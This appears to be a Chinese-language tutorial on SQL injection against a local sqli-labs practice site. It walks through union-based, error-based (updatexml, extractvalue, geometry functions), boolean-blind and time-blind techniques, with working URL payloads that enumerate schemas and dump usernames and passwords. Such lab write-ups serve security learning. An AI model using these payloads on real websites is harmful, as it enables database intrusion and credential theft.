PHP的网站,常用数据库为MYSQL、PostgreSQL
判断数据库类型:
使用场景:数据库在页面中存在显示位。
UNION操作符
用于连接两个以上的SELECT语句的结果组合到一个结果集合中。前提是两个select必有相同列
。
使用1/1和1/0方式来进行测试
1/1和1/0都不报错,也就是说没有反应,说明不是数字型
。
直接添加1个单引号和2个单引号测试
1个单引号发生报错,2个单引号不报错,说明这是字符型
。
使用order by;order by 是用来排序的。假如order by 3不报错,order by
4发生报错,这就说明该表只有3列。
如下:
使用的POC:
http://localhost/Less-1/?id=1' order by 4--+
对应的SQL语句:
select * from 表名(未知) where
order by 4
;
#让他报错
知道列数后,就需要获取数据库在网页中的显示位
(就是显示在网页上的字段),可以使用union来拼接错误查询和自我构造的select语句。
如下:
http://localhost/Less-1/?id=1
对应的SQL语句:
select * from 表名(未知) where id=1;
此处页面上显示:
Your Login name: Dumb
Your Password: Dumb
http://localhost/Less-1/?id=2
对应的SQL语句:
select * from 表名(未知) where id=2;
页面上显示:
Your Login name: Angelina
Your Password: I-kill-you
构造错误的select查询字段,例如把id=1改成id=-1
使用的POC:
http://localhost/ Less-1/?id=-1' union select 1,2,3 --+
对应的SQL语句:
select * from 表名(未知) where id=
-1 union select 1,2,3
;
页面上显示:
Your Login name: 2
Your Password: 3
这样子就知道显示位
是数据表的第2列和第3列了。
在显示位上构造要查询的函数,例如当前用户名和数据库名
构造POC:
http://localhost/ Less-1/?id=-1'
union select 1,user(),database()--+
对应的SQL语句:
select * from 表名(未知) where id=
-1 union select 1,user(),database()
;
页面上显示:
Your Login name: root@localhost
Your Password: security
这样我就知道当前数据库的用户名和数据库名了。
使用的POC:
http://localhost/ Less-1/?id=-1' union
select 1,2, table_name from information_schema.tables where table_schema='security'--+
对应的SQL语句:
select * from 表名(未知) where id=-1 union select 1,2,
table_name from information_schema.tables where table_schema='security'
;
上面就只会输出第一个表名字email,而不会输出全部的表名
输出所有的表名,使用group_concat()函数
来拼接输出
使用的POC:
http://localhost/ Less-1/?id=-1'
union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security'--+
对应的SQL语句:
select * from 表名(未知) where
id=-1
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
;
这样就知道security这个数据库里面所有的表名字:emails,referers,uagents,users
使用的POC:
http://localhost/ Less-1/?id=-1' union
select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security'--+
对应的SQL语句:
select * from 表名(未知) where
id=-1
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'
;
现在这里就输出了security这个数据库里面所有表的所有字段名称
现在又有另一个问题了,就是我只想知道敏感数据表的字段名,例如users这个表里面的字段名,这时候就要:
使用的POC:
http://localhost/ Less-1/?id=-1' union
select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
对应的SQL语句:
select * from 表名(未知) where id=-1 union select 1,2,
group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
;
现在这样子就知道了users这个表的所有字段名,假设知道了字段是:id,username,password
使用的POC:
http:// localhost/ Less-1/?id=-1’ union select 1,group_concat(username), group_concat(password) from users--+
对应的SQL语句:
select * from users where id=-1 union select 1,
group_concat(username), group_concat(password) from users
;
这样就把所有的学生名和密码都查出了,同时也知道了显示位显示的表就是users表
美化一下:
使用的POC:
http:// localhost/ Less-1/?id=-1’ union select 1,2, group_concat(username,'^',password) from users--+
对应的SQL语句:
select * from users where id=-1 union select 1,2,
group_concat(username,'^',password) from users
;
也可以不使用group_concat()函数,使用concat()+limit
的方式来查看表的数据。
使用的POC:
http:// localhost/ Less-1/?id=-1’ union select 1,2,group_concat(username,'^',password) from users limit 0,1--+
对应的SQL语句:
select * from users where id=-1 union select 1,2,
group_concat(username,'^',password) from users limit 0,1
;
这样子就可以一条一条来看。
使用场景:数据库错误提示会在页面上显示。
常用注入语法格式:
select * from test where id=1 and (select 1 from (select count(*),concat(user(),
floor
(rand(0)*2)) x from information_schema.tables group by x) a);
extractvalue(xml_frag, xpath_expr)
从一个使用xpath语法的xml字符串中提取一个值。
xml_frag:xml文档对象的名称,是一个string类型。
xpath_expr:使用xpath语法格式的路径。
若xpath_expr参数不符合xpath格式,就会报错
。而~ 符号(ascii编码值:0x7e)
是不存在xpath格式中的, 所以一旦在xpath_expr参数中使用~符号,就会报错。
常用注入语法格式:
select * from test where id=1 and (
extractvalue
(1,concat(0x7e
,(select user()),0x7e
),1));
常用注入语法格式:
select * form test where id=1 and (
updatexml
(1,concat(0x7e
,(select user())),1));
常用注入语法格式:
select * from test where id=1 and
geometrycollection
((select * from(select user())a)b));
常用注入语法格式:
select * from test where id=1 and
multipoint
((select * from(select user())a)b));
常用注入语法格式:
select * from test where id=1 and
polygon
((select * from(select user())a)b));
常用注入语法格式:
select * from test where id=1 and
multipolygon
((select * from(select user())a)b));
常用注入语法格式:
select * from test where id=1 and
linestring
((select * from(select user())a)b));
常用注入语法格式:
select * from test where id=1 and
multilinestring
((select * from(select user())a)b));
常用注入语法格式:
select * from test where id=1 and
exp
(~(select * from(select user())a));
常用注入语法格式:
select
gtid_subset
(user(),1);
这里就使用updatexml()函数
,这个函数第二个参数要是有特殊字符是会报错的,这里0x7e是“~”的URL编码。
使用的POC:
http://localhost/ Less-1/?id=1' and updatexml(1,0x7e,1)--+
对应的SQL语句:
select * from users where id=1 and
updatexml(1,0x7e,1)
;
使用的POC:
http://localhost/ Less-1/?id=1' and updatexml(1,concat(0x7e,database()),1)--+
对应的SQL语句:
select * from users where id=1 and
updatexml(1,concat(0x7e,database()),1)
;
使用的POC:
http://localhost/ Less-1/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))
,1)–+
对应的SQL语句:
select * from users where id=1 and updatexml(1,
concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))
,1);
报错注入常用的函数通常会有字符串长度限制,其最长输出32位
。如果直接使用group_concat()函数会输出不全。
举例:
使用的POC:
http://localhost/Less-1/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(username,'^',password) from users))
,1) --+
这样子只能输出32个字符串长度的内容,无法输出全;
这时候就要使用limit来进行操作,来进行一个一个的输出:
使用的POC:
http://localhost/Less-1/?id=1’ and updatexml(1,concat
(0x7e,(select concat(username,‘^’,password) from users limit 0,1
)),1) --+
使用场景:页面没有显示位,数据库查询出错也不会在页面上显示,只会有查询正确和查询错误两种页面提示,例如下面这种情况:
使用的POC:
http://localhost/Less-8/?id=1' and 1=if(1=1,1,0)--+
使用的POC:
http://localhost/Less-8/?id=1' and 1=if(1=2,1,0)--+
使用的POC:
http://localhost/Less-8/?id=1' and 1= if(length(user())=8,1,0)--+
接着可以使用BP爆破长度
这样子就猜出用户名字符串长度是14。使用同样方法可以得出当前数据库名的长度是8。
方法一:
http://localhost/Less-8/?id=1' and 1=if(mid(user(),1,1)='q',1,0)--+
第二个爆破字符,就把英文字母+数字+特殊符号添加进去,注意服务器是否有大小写区分。
这样就爆破出来了,就得出当前用户名是:root@localhost。同样方法可以获取到当前数据库名是:security
方法二:
当截取函数是被禁用,无法使用,那么就使用like+‘_’
举例上面我已经知道当前用户名的字符串长度是14,需要获取到用户名的名字
使用的POC:
http://localhost/Less-8/?id=1' and 1= if(user()+like+'______________',1,0)--+
这里的返回值是ture。因为正则里面下划线”_”是可以代表任意字符的。
这样子,我们就可以使用BP逐位逐位地进行爆破,从而获取到对应的用户名名字。
构造POC:
http://localhost/Less-8/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=10--+
构造POC:
http://localhost/Less-8/?id=1' and mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='a'--+
使用BP进行爆破
上述第一个payload知道是29位,字典就选到29
第二个payload的字典就把英文字母+数字+特殊符号添加进去,注意服务器是否有大小写区分。
好了这样就知道所有的表名字是:emails,referers,uagents,users
构造POC:
http://localhost/Less-8/?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))=10--+
同样BP爆破
这样子就知道了users表的字段名总字符串长度是20
构造POC:
http://localhost/Less-8/?id=1' and mid((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='a' --+
同样使用BP爆破
这里就获得users表的字段名称是:id,username,password
构造POC:
http://localhost/Less-8/?id=1' and length((select concat(username,'^',password) from users limit 0,1))=10--+
开始使用BP爆破
这样子就知道该表一共有13行,并且每行concat拼接后对应的字符串长度。
由于上面已经知道该表的字段名、数据行数、每行拼接后的总字符串长度,那么就可以逐行地进行爆破。
使用的POC:
http://localhost/Less-8/?id=1' and mid((select concat(username,'^',password) from users limit 0,1),1,1)='a' --+
具体BP爆破就不多说了,操作差不多。
页面返回值只有一种:true。无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数(sleep
),通过查看web页面返回的时间差
来判断注入的语句是否正确。
例如下面这种情况:
这里就说明sleep()函数会被执行
使用的POC:
http://localhost/Less-48/?sort=1 and if(length(user())=10,sleep(1),1)--+
这里就是假如猜测的长度争取,就会执行sleep(1)。
下面需要勾选响应时间
多了一列选项,由于正确就会执行sleep(1),所以相应时间最长的那一个就是正确的结果,这里就是14。同理爆破数据库名长度是8。
http://localhost/Less-48/?sort=1 and if(mid(user(),1,1)='a',sleep(1),1)--+
接着使用BP爆破
第二个爆破payload字典,注意把英文字母+数字+特殊符号添加进去,注意服务器是否有大小写区分。
这里就能看出来爆破出来的用户名按照顺序排列是:root@localhost;同理使用同样的方法爆破获得数据库名是:security。